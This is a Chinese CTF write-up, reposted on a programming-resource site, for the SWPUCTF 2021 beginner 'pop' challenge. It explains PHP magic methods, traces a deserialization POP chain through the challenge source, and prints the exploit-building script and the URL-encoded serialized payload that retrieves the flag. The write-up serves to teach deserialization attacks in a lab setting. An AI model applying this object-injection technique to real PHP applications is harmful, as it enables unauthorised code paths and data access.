我的编程空间,编程开发者的网络收藏夹
学习永远不晚

CTF笔记 [SWPUCTF 2021 新生赛]pop

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

CTF笔记  [SWPUCTF 2021 新生赛]pop

文章目录


这一类题目比较考验对一段代码的逻辑方面的理解,通过利用魔数方法进行互相调用,形成一条链子,利用这条链子将对象联系起来去拿flag。
(比较菜的我做了4道题目才理解了这类题目,你们应该比我强)

一些常见魔术方法

日常积累,目前做过的题目中见过的

__construct()类的构造函数,在对象实例化时调用__destruct()类的析构函数,在对象被销毁时被调用__call()在对象中调用一个不可访问的对象时被调用,比如一个对象被调用时,里面没有程序想调用的属性__get()个人觉得和call函数类似__isset()当一个对象调用isset()empty()时被调用__sleep()执行serialize()时,先会调用这个函数__wakeup()执行unserialize()时,先会调用这个函数,改属性键值可绕过__toString()类被当成字符串时被调用,如出现echo或者pre_match时__invoke()以函数的形式调用一个对象时被调用__clone()出现clone函数,会被调用

[SWPUCTF 2021 新生赛]pop

 error_reporting(0);show_source("index.php");class w44m{    private $admin = 'aaa';    protected $passwd = '123456';    public function Getflag(){        if($this->admin === 'w44m' && $this->passwd ==='08067'){            include('flag.php');            echo $flag;        }else{            echo $this->admin;            echo $this->passwd;            echo 'nono';        }    }}class w22m{    public $w00m;    public function __destruct(){        echo $this->w00m;    }}class w33m{    public $w00m;    public $w22m;    public function __toString(){        $this->w00m->{$this->w22m}();        return 0;    }}$w00m = $_GET['w00m'];unserialize($w00m);?> 

首先观察一下整段代码,再结合上面总结的魔术方法分析一下,w44m类里面的Getflag函数可以用来读取flag,因此就将它作为这条链子的尾部。

public function Getflag(){        if($this->admin === 'w44m' && $this->passwd ==='08067'){            include('flag.php');            echo $flag;        }else{            echo $this->admin;            echo $this->passwd;            echo 'nono';        }

再想一下如何去调用这个函数,看下面这段代码。这段代码中,$this->w00m->{$this->w22m}();会调用函数,所以只需要给$w00m赋一个w44m类,然后再给w22m赋一个Getflag就能成功调用该函数。

class w33m{    public $w00m;    public $w22m;    public function __toString(){        $this->w00m->{$this->w22m}();        return 0;    }}

再再考虑一下如何调用这个w33m类呢??上面写过__toString()这个方法会在一个对象被当作字符串时被调用,于是我们就能看到下面w22m这个类里面的echo函数。我们只要给w00m赋一个w33m类,就能调用。

class w22m{    public $w00m;    public function __destruct(){        echo $this->w00m;    }}

到了这里,析构函数会在对象被销毁时调用,所以我们已经摸到这条链子的头了,捋一下这条链子。

w22m::__destruct()->w33m::__toString()->w44m::Getflag()
这道题目很基础,所以出题人按顺序给类命名,算是小提示

然后我们构造一下exp
这里注意,因为admin和passwd是私有类和被保护的类,所以没办法在该类的外部赋值或引用,所以要在类中提前赋值

class w44m{    private $admin='w44m';    protected $passwd='08067';}class w22m{    public $w00m;}class w33m{    public $w00m;    public $w22m;}$a=new w22m;$a->w00m=new w33m;$a->w00m->w00m=new w44m;$a->w00m->w22m='Getflag';echo urlencode(serialize($a));?>

运行得到

O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D

个人建议:像这样赋值可以防止思路变模糊,这两天看其他大佬的构造,有提前全部实例化然后一个个赋值的,很乱,很难看懂,所以推荐上面的赋值方式,也是从别的大佬那边学来的。
拿到flag
在这里插入图片描述


总结

刚入门的话确实挺难懂的,建议多做做简单的题,找找感觉,一题一题地去理解,一般3、4道就能会了。看wp的时候不会的多查一查,找到自己能理解的文章去看,一些函数也多去查和理解,多动手自己构造。

来源地址:https://blog.csdn.net/qq_51248658/article/details/127578176

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

CTF笔记 [SWPUCTF 2021 新生赛]pop

下载Word文档到电脑,方便收藏和打印~

下载Word文档

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录